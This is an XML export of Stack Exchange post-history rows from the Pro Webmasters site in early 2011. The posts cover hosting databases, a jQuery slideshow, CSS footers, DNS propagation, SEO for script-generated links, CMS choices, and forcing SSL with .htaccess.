  <row Id="19270" PostHistoryTypeId="1" PostId="8840" RevisionGUID="9ab1ae31-cef7-4c41-8db0-8e73a65aec9e" CreationDate="2011-02-07T05:25:15.077" UserDisplayName="Nate Gates" Text="MySQL vs. SQL Server Go daddy, What is the difference bewteen hosted DB and App_Data Db." />
  <row Id="19271" PostHistoryTypeId="3" PostId="8840" RevisionGUID="9ab1ae31-cef7-4c41-8db0-8e73a65aec9e" CreationDate="2011-02-07T05:25:15.077" UserDisplayName="Nate Gates" Text="&lt;c#&gt;&lt;asp.net&gt;&lt;mysql&gt;&lt;sql-server&gt;&lt;godaddy&gt;" />
  <row Id="19272" PostHistoryTypeId="17" PostId="8840" RevisionGUID="b372ff12-aea0-4620-b5dc-4cd5283f7131" CreationDate="2011-02-07T19:32:15.593" UserId="-1" Comment="from http://stackoverflow.com/questions/4918301/mysql-vs-sql-server-go-daddy-what-is-the-difference-bewteen-hosted-db-and-app-d" Text="" />
  <row Id="19273" PostHistoryTypeId="2" PostId="8842" RevisionGUID="f807a0b3-55c5-4f43-b05c-2096acd51b18" CreationDate="2011-02-07T19:55:42.480" UserDisplayName="user5234" Text="Clearly it's not going to have a major impact, but if you're head to head with another site, and your IP is closer to the person searching, that may just mean you might come up first." />
  <row Id="19274" PostHistoryTypeId="25" PostId="8833" RevisionGUID="79ab8233-bd68-43b0-9c16-0cc3ffdca7d7" CreationDate="2011-02-07T20:16:40.973" Comment="http://twitter.com/#!/StackWebmasters/status/34707136743219200" />
  <row Id="19275" PostHistoryTypeId="2" PostId="8843" RevisionGUID="afceb636-4d13-4db3-89f6-09aa881c77a3" CreationDate="2011-02-07T20:18:33.177" UserId="1134" Text="I'm looking to reduce the footprint of my Strict html 4.01 front page. One possible way is to combine much of the &quot;upcoming events&quot; into a single small box, and have them automagically switch which one is displayed every few seconds. I'm sure there are a bunch of this kind of thing written already, and surely an open source one exists, but I haven't had much luck find one.&#xD;&#xA;&#xD;&#xA;I'd prefer javascript to jQuery as installing jQuery might not be an option, but if the best-fit script requires jQuery I'd certainly be willing to investigate that route.&#xD;&#xA;&#xD;&#xA;If it can display content from Wordpress that would be ideal." />
  <row Id="19276" PostHistoryTypeId="1" PostId="8843" RevisionGUID="afceb636-4d13-4db3-89f6-09aa881c77a3" CreationDate="2011-02-07T20:18:33.177" UserId="1134" Text="What is a light-weight &quot;slideshow&quot; script that could integrate w/ CMS?" />
  <row Id="19277" PostHistoryTypeId="3" PostId="8843" RevisionGUID="afceb636-4d13-4db3-89f6-09aa881c77a3" CreationDate="2011-02-07T20:18:33.177" UserId="1134" Text="&lt;php&gt;&lt;javascript&gt;" />
  <row Id="19279" PostHistoryTypeId="2" PostId="8844" RevisionGUID="53189a68-84d6-49fc-964d-a76bf942e160" CreationDate="2011-02-07T22:35:36.190" UserDisplayName="user5236" Text="I am working on this web page: https://ws.missouristate.edu/factbook/execsummary/ and as you can see the page footer is covering the content. I have tried to adjust many CSS properties such as overflow, position, height, float, etc. in firebug and none of my edits have had any positive effect. I am even using a clearing div. Perhaps I am overlooking something pretty easy. How do I prevent the footer from covering up the table content?" />
  <row Id="19280" PostHistoryTypeId="1" PostId="8844" RevisionGUID="53189a68-84d6-49fc-964d-a76bf942e160" CreationDate="2011-02-07T22:35:36.190" UserDisplayName="user5236" Text="How to fix footer cutting off content in an above div" />
  <row Id="19281" PostHistoryTypeId="3" PostId="8844" RevisionGUID="53189a68-84d6-49fc-964d-a76bf942e160" CreationDate="2011-02-07T22:35:36.190" UserDisplayName="user5236" Text="&lt;css&gt;" />
  <row Id="19282" PostHistoryTypeId="2" PostId="8845" RevisionGUID="e9d6bc9a-b149-4dc4-a982-666e99e70057" CreationDate="2011-02-07T22:45:34.753" UserDisplayName="user5237" Text="I've been building and content-managing sites on both systems over a few years and I guess it depends on what do you call &quot;manage&quot;.&#xD;&#xA;&#xD;&#xA;First of all, they have different learning curves. From the first time you start reading on how to set up a site till you understand what to do and which modules would you need, Joomla is faster. But further modifications to the existing site once you already know the basics and content-management are faster with Drupal.&#xD;&#xA;&#xD;&#xA;So for me it is: &#xD;&#xA;Drupal if I will ever be dealing with the site again.&#xD;&#xA;Joomla can only be considered if time and budget are limited and it is build, hand over to the client and never have to support it yourself. &#xD;&#xA;&#xD;&#xA;Because setting up Joomla was fast for me but a complete disaster to modify, support and fill with content." />
  <row Id="19283" PostHistoryTypeId="2" PostId="8846" RevisionGUID="3da77613-6ec1-4e77-ae5b-1a699651eadc" CreationDate="2011-02-07T22:52:31.573" UserId="2314" Text="As Goblinbox pointed out, its likely that your ISP's DNS server is serving you the old cached `A record`, others are likely accessing a different DNS server which is why they can see it with the new name servers.&#xD;&#xA;&#xD;&#xA;Your ISPs DNS records should catch up soon, if you want to be able to access your website while you wait for your ISP to update, then setup windows-7 or your `web-browser` to use a custom DNS.&#xD;&#xA;&#xD;&#xA;Some you can try:&#xD;&#xA;&#xD;&#xA; - [Google Public DNS][1]&#xD;&#xA; - [Open DNS][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Step 6 on this [Microsoft Page][3] shows how to configure a custom DNS system wide.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*As a side note, I have found that the Google Public DNS servers have an equal if not better response time than the DNS servers provided by many ISPs.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/public-dns/&#xD;&#xA;  [2]: http://www.opendns.com/&#xD;&#xA;  [3]: http://windows.microsoft.com/en-US/windows7/Change-TCP-IP-settings" />
  <row Id="19284" PostHistoryTypeId="10" PostId="8844" RevisionGUID="355c4ba7-4bbf-4125-87e4-97e4da448e5b" CreationDate="2011-02-07T23:00:32.243" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19285" PostHistoryTypeId="25" PostId="8844" RevisionGUID="3662c9f7-af51-4aa5-aff7-733e52ba6893" CreationDate="2011-02-07T23:16:41.320" Comment="http://twitter.com/#!/StackWebmasters/status/34752436698746880" />
  <row Id="19286" PostHistoryTypeId="5" PostId="8807" RevisionGUID="1145f5ca-72af-41f6-9d56-c91ef91a8190" CreationDate="2011-02-07T23:26:29.070" UserId="233" Comment="added 60 characters in body" Text="We were running [Question2Answer][1] for a bit, though we're currently working on an in house clone of it, since we have a few unusual needs and had to do a fair number of new features anyway.&#xD;&#xA;&#xD;&#xA;However, our experience with it was positive for the most part - the developer is fairly active, and it was fairly problem free for running a small Q&amp;A site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.question2answer.org" />
  <row Id="19287" PostHistoryTypeId="2" PostId="8847" RevisionGUID="1c7553c8-a5f1-4009-a3d1-0b8f22e297de" CreationDate="2011-02-07T23:36:25.373" UserId="1064" Text="This is a really simple task for jQuery - there are some concerns (i.e. variable slideshow slides) that aren't easy to solve in basic Javascript, so I would stick with a framework... preferably whichever framework is already in use at your site.&#xD;&#xA;&#xD;&#xA;**Example:**&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Slideshow&lt;/title&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    div.slide,&#xD;&#xA;    div#slideshow {&#xD;&#xA;    	height:240px;&#xD;&#xA;    	width:340px;&#xD;&#xA;    	padding:2px 8px;&#xD;&#xA;    	overflow:hidden;&#xD;&#xA;    }&#xD;&#xA;    div.slide {&#xD;&#xA;    	display:none;&#xD;&#xA;    }&#xD;&#xA;    div#slideshow {&#xD;&#xA;    	border:dashed 1px #C0C0C0;&#xD;&#xA;    }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    // Configuration: Set time out interval in seconds&#xD;&#xA;    var slideTimeout = 5;&#xD;&#xA;    // EOF_Configuration&#xD;&#xA;    var slidePointer = -1;&#xD;&#xA;    var slides = new Array();&#xD;&#xA;    function registerSlide( slideNo ) {&#xD;&#xA;    	slides.push( slideNo );&#xD;&#xA;    }&#xD;&#xA;    function advanceSlide() {&#xD;&#xA;    	var lastSlide = slidePointer;&#xD;&#xA;    	if ( slidePointer &gt;= (slides.length - 1) ) {&#xD;&#xA;    		slidePointer = 0;&#xD;&#xA;    	} else {&#xD;&#xA;    		slidePointer++;&#xD;&#xA;    	}&#xD;&#xA;    	var nextSlide = slidePointer;&#xD;&#xA;    	$('div#'+slides[lastSlide]).fadeOut();&#xD;&#xA;    	$('div#'+slides[nextSlide]).fadeIn();&#xD;&#xA;    	setTimeout( 'advanceSlide()', slideTimeout * 1000 );&#xD;&#xA;    }&#xD;&#xA;    $(document).ready(function() {&#xD;&#xA;    	if ( $('div.slide').length ) {&#xD;&#xA;    		$('div.slide').each(function() {&#xD;&#xA;    			registerSlide( $(this).attr('id') );&#xD;&#xA;    		});&#xD;&#xA;    		advanceSlide();&#xD;&#xA;    	}&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    	&lt;h1&gt;Slideshow Example&lt;/h1&gt;&#xD;&#xA;    	&lt;p&gt;This page demonstrates a simple timed slideshow.&lt;/p&gt;&#xD;&#xA;    	&lt;div id=&quot;slideshow&quot;&gt;&#xD;&#xA;    		&lt;noscript&gt;&#xD;&#xA;    			&lt;div class=&quot;slide&quot; id=&quot;slide0&quot;&gt;&#xD;&#xA;    				&lt;p&gt;Learn more about:&lt;/p&gt;&#xD;&#xA;    				&lt;p&gt;&lt;a href=&quot;/path/to/slide1/destination&quot;&gt;Slide I&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    				&lt;p&gt;&lt;a href=&quot;/path/to/slide2/destination&quot;&gt;Slide II&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    				&lt;p&gt;&lt;a href=&quot;/path/to/slide3/destination&quot;&gt;Slide III&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    			&lt;/div&gt;&#xD;&#xA;    		&lt;/noscript&gt;&#xD;&#xA;    		&lt;div class=&quot;slide&quot; id=&quot;slide1&quot;&gt;&#xD;&#xA;    			&lt;p&gt;&lt;a href=&quot;/path/to/slide1/destination&quot;&gt;Slide I&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    			&lt;p&gt;Some content specific to this slide...&lt;/p&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    		&lt;div class=&quot;slide&quot; id=&quot;slide2&quot;&gt;&#xD;&#xA;    			&lt;p&gt;&lt;a href=&quot;/path/to/slide2/destination&quot;&gt;Slide II&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    			&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/6/66/Badger.jpg&quot; alt=&quot;BADGER&quot; style=&quot;height:200px;width:320px;&quot; /&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    		&lt;div class=&quot;slide&quot; id=&quot;slide3&quot;&gt;&#xD;&#xA;    			&lt;p&gt;&lt;a href=&quot;/path/to/slide3/destination&quot;&gt;Slide III&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    			&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/7/76/Coast_Garter_Snake.jpg/800px-Coast_Garter_Snake.jpg&quot; alt=&quot;SNAKE&quot; style=&quot;height:200px;width:320px;&quot; /&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    	&lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;" />
  <row Id="19288" PostHistoryTypeId="2" PostId="8848" RevisionGUID="aa1bd1c0-49f2-4609-9477-de78d2ba7c3f" CreationDate="2011-02-07T23:43:45.970" UserId="4756" Text="I would like to create a share link to my website using javascript:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;&#xD;&#xA;script src=&quot;[url-to-my-script]&quot;&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;Basically the main idea behind this is to render HTML block with an image and link to the website.&#xD;&#xA;&#xD;&#xA;By using JavaScript approach I can control the look and feel of that link + potentially I could change the link html in the future without touching partner websites.&#xD;&#xA;&#xD;&#xA;The only potential problem I see with this approach is SEO. I'm not sure if google will be able to index that link to my website, since it's generated by javascript.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19289" PostHistoryTypeId="1" PostId="8848" RevisionGUID="aa1bd1c0-49f2-4609-9477-de78d2ba7c3f" CreationDate="2011-02-07T23:43:45.970" UserId="4756" Text="Share links with &lt;script src=&quot;&quot;&gt; SEO " />
  <row Id="19290" PostHistoryTypeId="3" PostId="8848" RevisionGUID="aa1bd1c0-49f2-4609-9477-de78d2ba7c3f" CreationDate="2011-02-07T23:43:45.970" UserId="4756" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="19291" PostHistoryTypeId="2" PostId="8849" RevisionGUID="a9791135-9dad-409c-8740-5047fbc145ba" CreationDate="2011-02-08T00:36:54.713" UserId="1253" Text="Search engines don't read dynamic content produced by JavaScript so even if your JavaScript code produces HTML with a link to your site in it the search engines will not know about it.&#xD;&#xA;&#xD;&#xA;Your best solution is to use a NOSCRIPT tag to include some HTML which links to your site. " />
  <row Id="19292" PostHistoryTypeId="2" PostId="8850" RevisionGUID="293dcf65-5751-4ed8-90c6-18c4ec5d1549" CreationDate="2011-02-08T01:16:29.217" UserId="5026" Text="Is there a way to receive payments to your bank account from your website.&#xD;&#xA;&#xD;&#xA;I know PayPal is one option, and I know using a merchant account and gateway are another, but are there any other options?" />
  <row Id="19293" PostHistoryTypeId="1" PostId="8850" RevisionGUID="293dcf65-5751-4ed8-90c6-18c4ec5d1549" CreationDate="2011-02-08T01:16:29.217" UserId="5026" Text="Website Form to deposit funds to your bank account." />
  <row Id="19294" PostHistoryTypeId="3" PostId="8850" RevisionGUID="293dcf65-5751-4ed8-90c6-18c4ec5d1549" CreationDate="2011-02-08T01:16:29.217" UserId="5026" Text="&lt;payment&gt;" />
  <row Id="19298" PostHistoryTypeId="25" PostId="8850" RevisionGUID="72b01341-acae-4440-9ad9-f8281b130189" CreationDate="2011-02-08T02:16:40.477" Comment="http://twitter.com/#!/StackWebmasters/status/34797732015116288" />
  <row Id="19299" PostHistoryTypeId="2" PostId="8852" RevisionGUID="12e49fb0-658e-47ee-bd94-c39137f4cdb3" CreationDate="2011-02-08T02:46:13.203" UserId="5243" Text="It is a general question to ask what would be the easiest way to start a website, however every one need a little boost up at the begging. There are content management systems, or admin panels, or some people have developed their own systems and many more diffirent things people use at the very beggining. &#xD;&#xA;&#xD;&#xA;Among others my way was looking for a very lightweight cms and develop a system on to it, unfortunately I couldn't find a good system to develop on, for example I decided to develop on snewscms (the lightest weight cms) but it is really hard to manage since it is not developed with object oriented programming standarts and I thought it would be a mistake to continue developing on to such a system. On the other hand starting to code from the core would be week about security, and using a massive cms like joomla or drupal will not be good since there will be many things that are unused and moreover I will not feel well when I don't know what I am controlling since it is not easy to know every part of them.&#xD;&#xA;&#xD;&#xA;What I am asking is what would you do if you had lost all the files you are currently using today, where would you start from? What tool would you use? Or is there a lightweight and well coded tool to get start with?" />
  <row Id="19300" PostHistoryTypeId="1" PostId="8852" RevisionGUID="12e49fb0-658e-47ee-bd94-c39137f4cdb3" CreationDate="2011-02-08T02:46:13.203" UserId="5243" Text="The very beggining research for web developing" />
  <row Id="19301" PostHistoryTypeId="3" PostId="8852" RevisionGUID="12e49fb0-658e-47ee-bd94-c39137f4cdb3" CreationDate="2011-02-08T02:46:13.203" UserId="5243" Text="&lt;web-development&gt;&lt;cms&gt;&lt;administration&gt;" />
  <row Id="19302" PostHistoryTypeId="5" PostId="8852" RevisionGUID="6ff74293-79be-455c-9270-993296aae7fd" CreationDate="2011-02-08T03:00:52.347" UserId="5243" Comment="edited body" Text="It is a general question to ask what would be the easiest way to start a website, however every one need a little boost up at the begging. There are content management systems, or admin panels, or some people have developed their own systems and many more diffirent things people use at the very beggining. &#xD;&#xA;&#xD;&#xA;Among others my way was looking for a very lightweight cms and develop a system on to it, unfortunately I couldn't find a good system to develop on, for example I decided to develop on snewscms (the lightest weight cms) but it is really hard to manage since it is not developed with object oriented programming standarts and I thought it would be a mistake to continue developing on to such a system. On the other hand starting to code from the core would be weak about security, and using a massive cms like joomla or drupal will not be good since there will be many things that are unused and moreover I will not feel well when I don't know what I am controlling since it is not easy to know every part of them.&#xD;&#xA;&#xD;&#xA;What I am asking is what would you do if you had lost all the files you are currently using today, where would you start from? What tool would you use? Or is there a lightweight and well coded tool to get start with?" />
  <row Id="19303" PostHistoryTypeId="17" PostId="8854" RevisionGUID="1c43306d-ae27-42b2-9bca-3188fa85070c" CreationDate="2011-02-08T03:03:12.410" UserId="-1" Comment="from http://serverfault.com/questions/228417/properly-force-ssl-with-htaccess-no-double-authentication/232474#232474" Text="" />
  <row Id="19304" PostHistoryTypeId="2" PostId="8854" RevisionGUID="8ea16ca4-5e00-4766-b189-7301b47d4294" CreationDate="2011-02-08T02:28:10.653" UserDisplayName="Ben" Text="If you have server-side execution such as php or cgi, then set your ErrorDocument to a file that does not require authentication.  This file should redirect the client to the proper location.  Apache will set several REDIRECT_ - prefixed environment variables to help you out, and the original environment is preserved -- see http://httpd.apache.org/docs/trunk/custom-error.html.&#xD;&#xA;&#xD;&#xA;In your .htaccess, do as your second example above, but make the ErrorDocument an internal document:&#xD;&#xA;&#xD;&#xA;    SSLOptions +StrictRequire&#xD;&#xA;    SSLRequireSSL&#xD;&#xA;    SSLRequire %{HTTP_HOST} eq &quot;site.com&quot;&#xD;&#xA;    ErrorDocument 403 /err_redirect.php&#xD;&#xA;    AuthName &quot;Locked&quot;&#xD;&#xA;    AuthUserFile &quot;/home/.htpasswd&quot;&#xD;&#xA;    AuthType Basic&#xD;&#xA;    require valid-user&#xD;&#xA;    &lt;Files /err_redirect.php&gt;&#xD;&#xA;      AuthType none&#xD;&#xA;    &lt;/Files&gt;&#xD;&#xA;&#xD;&#xA;Then, in that error document, send the appropriate HTTP status and Location header. Here's a simple example in php:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    	header(&quot;Location: https://&quot; . $_SERVER[&quot;HTTP_HOST&quot;] . $_SERVER[&quot;REQUEST_URI&quot;]);&#xD;&#xA;    ?&gt;" />
  <row Id="19305" PostHistoryTypeId="2" PostId="8853" RevisionGUID="5d0120e4-ecce-44c6-b1d6-ead69f05fe9c" CreationDate="2011-01-29T05:03:02.440" UserDisplayName="cwd" Text="I'm trying to force SSL with .htaccess on a shared host. This means there I only have access to .htaccess and not the vhosts config. I know you can put a rule in the VirtualHost config file to force SSL which will be picked up there (and acted upon first), preventing double authentication, but I can't get to that. Here's the progress I've made:&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Config 1&lt;/h2&gt;&#xD;&#xA;This works pretty well but it does force double authentication if you visit http://site.com - once for http and then once for https. Once you are logged in, it automatically redirects http://site.com/page1.html to the https coutnerpart just fine:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;RewriteEngine On&#xD;&#xA;RewriteCond %{HTTPS} !=on&#xD;&#xA;RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;RewriteEngine on&#xD;&#xA;RewriteCond %{HTTP_HOST} !(^www\.site\.com*)$&#xD;&#xA;RewriteRule (.*) https://www.site.com$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;AuthName &quot;Locked&quot;&#xD;&#xA;AuthUserFile &quot;/home/.htpasswd&quot;&#xD;&#xA;AuthType Basic&#xD;&#xA;require valid-user&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Config 2&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;If I add this to the top of the file, it works a lot better in that it will switch to SSL before prompting for the password:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;SSLOptions +StrictRequire&#xD;&#xA;SSLRequireSSL&#xD;&#xA;SSLRequire %{HTTP_HOST} eq &quot;site.com&quot;&#xD;&#xA;ErrorDocument 403 https://site.com&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;It's clever how it will use the SSLRequireSSL option and the ErrorDocument403 to redirect to the secure version of the site. My only complaint is that if you try and access http://site.com/page1.html it will redirect to https://site.com/&#xD;&#xA;&#xD;&#xA;So it is forcing SSL without a double-login, but it is not properly forwarding non-SSL resources to their SSL counterparts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regarding the first config, Insyte mentioned &quot;using mod_rewrite to perform a simple redirect is a bit of overkill. Use the Redirect directive instead. It's possible this may even fix your problem, as I believe mod_rewrite rules are some of the last directives to be processed, just before the file is actually grabbed from the filesystem&quot;&#xD;&#xA;&#xD;&#xA;I have not had no such luck on finding a force-ssl config option with the redirect directive and so have been unable to test this theory." />
  <row Id="19306" PostHistoryTypeId="1" PostId="8853" RevisionGUID="5d0120e4-ecce-44c6-b1d6-ead69f05fe9c" CreationDate="2011-01-29T05:03:02.440" UserDisplayName="cwd" Text="Properly force SSL with .htaccess, no double authentication" />
  <row Id="19307" PostHistoryTypeId="3" PostId="8853" RevisionGUID="5d0120e4-ecce-44c6-b1d6-ead69f05fe9c" CreationDate="2011-01-29T05:03:02.440" UserDisplayName="cwd" Text="&lt;apache&gt;&lt;ssl&gt;&lt;mod-rewrite&gt;&lt;htaccess&gt;&lt;rewrite&gt;" />
  <row Id="19308" PostHistoryTypeId="17" PostId="8853" RevisionGUID="d2b49282-7a7b-42e3-85a0-96c01fdc8109" CreationDate="2011-02-08T03:03:12.410" UserId="-1" Comment="from http://serverfault.com/questions/228417/properly-force-ssl-with-htaccess-no-double-authentication" Text="" />
  <row Id="19309" PostHistoryTypeId="2" PostId="8855" RevisionGUID="37ee43f9-7ba1-4715-bcd8-f3d0213ec2ca" CreationDate="2011-02-08T03:32:03.957" UserId="1064" Text="Months of regular participation here at Pro Webmasters have provided me with plenty of engaging opportunities to further my knowledge and I would like to expand my participation in this community as a part of the moderation team.&#xD;&#xA;&#xD;&#xA;I feel that my five years' experience as a forum moderator, (at Steampowered.com and more recently at VPSLink.com) my consistent availability, (I monitor the Pro Webmasters RSS feed and log in daily) and my genuine interest in the Pro Webmasters community as a destination for factual answers merits my consideration as a moderator." />
  <row Id="19310" PostHistoryTypeId="5" PostId="8847" RevisionGUID="573fbfb6-e74c-47ab-b5e2-64506255fad8" CreationDate="2011-02-08T03:33:32.207" UserId="1064" Comment="... actually that makes more sense as a CSS declaration" Text="This is a really simple task for jQuery - there are some concerns (i.e. variable slideshow slides) that aren't easy to solve in basic Javascript, so I would stick with a framework... preferably whichever framework is already in use at your site.&#xD;&#xA;&#xD;&#xA;**Example:**&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Slideshow&lt;/title&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    div.slide,&#xD;&#xA;    div#slideshow {&#xD;&#xA;    	height:240px;&#xD;&#xA;    	width:340px;&#xD;&#xA;    	padding:2px 8px;&#xD;&#xA;    	overflow:hidden;&#xD;&#xA;    }&#xD;&#xA;    div.slide {&#xD;&#xA;    	display:none;&#xD;&#xA;    }&#xD;&#xA;    div#slideshow {&#xD;&#xA;    	border:dashed 1px #C0C0C0;&#xD;&#xA;    }&#xD;&#xA;    div#slide0 {&#xD;&#xA;    	display:block;&#xD;&#xA;    }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    // Configuration: Set time out interval in seconds&#xD;&#xA;    var slideTimeout = 5;&#xD;&#xA;    // EOF_Configuration&#xD;&#xA;    var slidePointer = -1;&#xD;&#xA;    var slides = new Array();&#xD;&#xA;    function registerSlide( slideNo ) {&#xD;&#xA;    	slides.push( slideNo );&#xD;&#xA;    }&#xD;&#xA;    function advanceSlide() {&#xD;&#xA;    	var lastSlide = slidePointer;&#xD;&#xA;    	if ( slidePointer &gt;= (slides.length - 1) ) {&#xD;&#xA;    		slidePointer = 0;&#xD;&#xA;    	} else {&#xD;&#xA;    		slidePointer++;&#xD;&#xA;    	}&#xD;&#xA;    	var nextSlide = slidePointer;&#xD;&#xA;    	$('div#'+slides[lastSlide]).fadeOut();&#xD;&#xA;    	$('div#'+slides[nextSlide]).fadeIn();&#xD;&#xA;    	setTimeout( 'advanceSlide()', slideTimeout * 1000 );&#xD;&#xA;    }&#xD;&#xA;    $(document).ready(function() {&#xD;&#xA;    	if ( $('div.slide').length ) {&#xD;&#xA;    		$('div.slide').each(function() {&#xD;&#xA;    			registerSlide( $(this).attr('id') );&#xD;&#xA;    		});&#xD;&#xA;    		advanceSlide();&#xD;&#xA;    	}&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    	&lt;h1&gt;Slideshow Example&lt;/h1&gt;&#xD;&#xA;    	&lt;p&gt;This page demonstrates a simple timed slideshow.&lt;/p&gt;&#xD;&#xA;    	&lt;div id=&quot;slideshow&quot;&gt;&#xD;&#xA;    		&lt;noscript&gt;&#xD;&#xA;    			&lt;div class=&quot;slide&quot; id=&quot;slide0&quot;&gt;&#xD;&#xA;    				&lt;p&gt;Learn more about:&lt;/p&gt;&#xD;&#xA;    				&lt;p&gt;&lt;a href=&quot;/path/to/slide1/destination&quot;&gt;Slide I&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    				&lt;p&gt;&lt;a href=&quot;/path/to/slide2/destination&quot;&gt;Slide II&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    				&lt;p&gt;&lt;a href=&quot;/path/to/slide3/destination&quot;&gt;Slide III&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    			&lt;/div&gt;&#xD;&#xA;    		&lt;/noscript&gt;&#xD;&#xA;    		&lt;div class=&quot;slide&quot; id=&quot;slide1&quot;&gt;&#xD;&#xA;    			&lt;p&gt;&lt;a href=&quot;/path/to/slide1/destination&quot;&gt;Slide I&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    			&lt;p&gt;Some content specific to this slide...&lt;/p&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    		&lt;div class=&quot;slide&quot; id=&quot;slide2&quot;&gt;&#xD;&#xA;    			&lt;p&gt;&lt;a href=&quot;/path/to/slide2/destination&quot;&gt;Slide II&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    			&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/6/66/Badger.jpg&quot; alt=&quot;BADGER&quot; style=&quot;height:200px;width:320px;&quot; /&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    		&lt;div class=&quot;slide&quot; id=&quot;slide3&quot;&gt;&#xD;&#xA;    			&lt;p&gt;&lt;a href=&quot;/path/to/slide3/destination&quot;&gt;Slide III&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    			&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/7/76/Coast_Garter_Snake.jpg/800px-Coast_Garter_Snake.jpg&quot; alt=&quot;SNAKE&quot; style=&quot;height:200px;width:320px;&quot; /&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    	&lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;" />
  <row Id="19311" PostHistoryTypeId="2" PostId="8856" RevisionGUID="654e3148-a810-4ea9-9258-b82d9f01c013" CreationDate="2011-02-07T16:31:23.450" UserId="5232" Text="Does anyone have any recommendation for an open source solution for a robust CMS application that has a fully featured ECommerce module?  I have been looking into Drupal with Ubercart -- but it looks like Ubercart is not fully up to speed with Drupal 7, and the other modules for Ecommerce don't look as robust. The CMS system should support [CMIS][1] as both client and server, and be able to run in a cloud computing environment.&#xD;&#xA;&#xD;&#xA;The system could be written in any standard web programming language, although Java would be my preference.  I'm posting this question here because it seems that all CMS systems provide ECommerce as an afterthought, rather than a core feature.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.oasis-open.org/cmis/CMIS/v1.0/cmis-spec-v1.0.html" />
  <row Id="19312" PostHistoryTypeId="1" PostId="8856" RevisionGUID="654e3148-a810-4ea9-9258-b82d9f01c013" CreationDate="2011-02-07T16:31:23.450" UserId="5232" Text="I Need a recommendation for a CMS application with ECommerce" />
  <row Id="19313" PostHistoryTypeId="3" PostId="8856" RevisionGUID="654e3148-a810-4ea9-9258-b82d9f01c013" CreationDate="2011-02-07T16:31:23.450" UserId="5232" Text="&lt;recommendations&gt;&lt;cms&gt;&lt;ecommerce&gt;" />
